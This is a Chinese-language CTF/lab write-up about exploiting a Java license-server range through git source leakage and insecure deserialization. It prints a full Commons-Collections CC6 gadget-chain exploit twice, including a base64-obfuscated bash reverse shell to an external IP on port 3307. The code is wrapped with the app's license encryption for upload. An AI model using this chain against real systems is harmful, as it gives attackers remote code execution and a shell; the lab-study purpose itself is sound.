一个License认证机制靶场-反序列化场景
这个题是在国外的一个渗透赛里面弄到的standoff渗透赛
起初是git泄露,用GitHack可以拉取源码
然后代审了一下,
LicenseController展示了网站的部分路由,其中主要是登录鉴权的一些操作
比如说可以这样鉴权
读入你传的License文件,然后调用解密函数进行解密
因为这是靶场,所以这个应用一定是有漏洞的
pom.xml
看到有个cc3,然后传进去的jwt会做一堆解密(rsa和jwt),最后会调用反序列化的
看到这我已经意识到了,应该是import路由下面post一个license进去,最后解密成功的时候反序列化,License可以作为入口,调用cc链
但是后面转念一想,他这个ObjectInputStream应该是直接可以读任意反序列化入口了,我们甚至不需要拼上License作为入口
说时迟那时快,写个poc
ccSix.java
package com.example.license_server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.HashMap;
import java.util.Map;
public class ccSix {
/**
* 将字节流转换成文件
* @param filename
* @param data
* @throws Exception
*/
public static void saveFile(String filename,byte [] data)throws Exception{
if(data != null){
File file = new File(filename);
if(file.exists()){
file.delete();
}
FileOutputStream fos = new FileOutputStream(file);
fos.write(data,0,data.length);
fos.flush();
fos.close();
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{"bash","-c","{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|bash"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
Map<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaa");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chainedTransformer);
// 原生反序列化成功
// serialize(map2);
// unserialize("ser.bin");
byte[] exp = LicenseEncryptor.encryptLicense1(map2);
// 解密反序列化成功
//License licenseCandidate = LicenseEncryptor.decryptAndVerifyLicense(exp);
// 写文件
saveFile("expLiense", exp);
}
}
我把cc6拿了过来,先测了一下能不能用(因为jdk17把templateImpl禁了,有些链子不通)
serialize(map2);
unserialize("ser.bin");
比较幸运,这个没有版本限制
因为它前面有一部分解密,所以我要调一下它的加密函数(要魔改一下输入参数)
LicenseEncryptor.java
encryptLicense1(Object license)
exp
ccSix.java
byte[] exp = LicenseEncryptor.encryptLicense1(map2);
// 解密反序列化成功
License licenseCandidate = LicenseEncryptor.decryptAndVerifyLicense(exp);
测试成功
但是它这个接口是要传文件的
所以写个saveFile函数(网上找了一个)
最终完整poc
package com.example.license_server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.HashMap;
import java.util.Map;
public class ccSix {
/**
* 将字节流转换成文件
* @param filename
* @param data
* @throws Exception
*/
public static void saveFile(String filename,byte [] data)throws Exception{
if(data != null){
File file = new File(filename);
if(file.exists()){
file.delete();
}
FileOutputStream fos = new FileOutputStream(file);
fos.write(data,0,data.length);
fos.flush();
fos.close();
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{"bash","-c","{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|bash"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
Map<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaa");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chainedTransformer);
// 原生反序列化成功
// serialize(map2);
// unserialize("ser.bin");
byte[] exp = LicenseEncryptor.encryptLicense1(map2);
// 解密反序列化成功
//License licenseCandidate = LicenseEncryptor.decryptAndVerifyLicense(exp);
// 写文件
saveFile("expLiense", exp);
}
}
但是靶机大概率是linux环境,于是我在linux上测试,但是结果失败了
发现我的exp有问题,估计只能打本地,可能是前面rsa加密的问题,只有本地密钥能解
尝试在linux机器上面复现以上过程,但是反序列化的时候会出错,非常诡异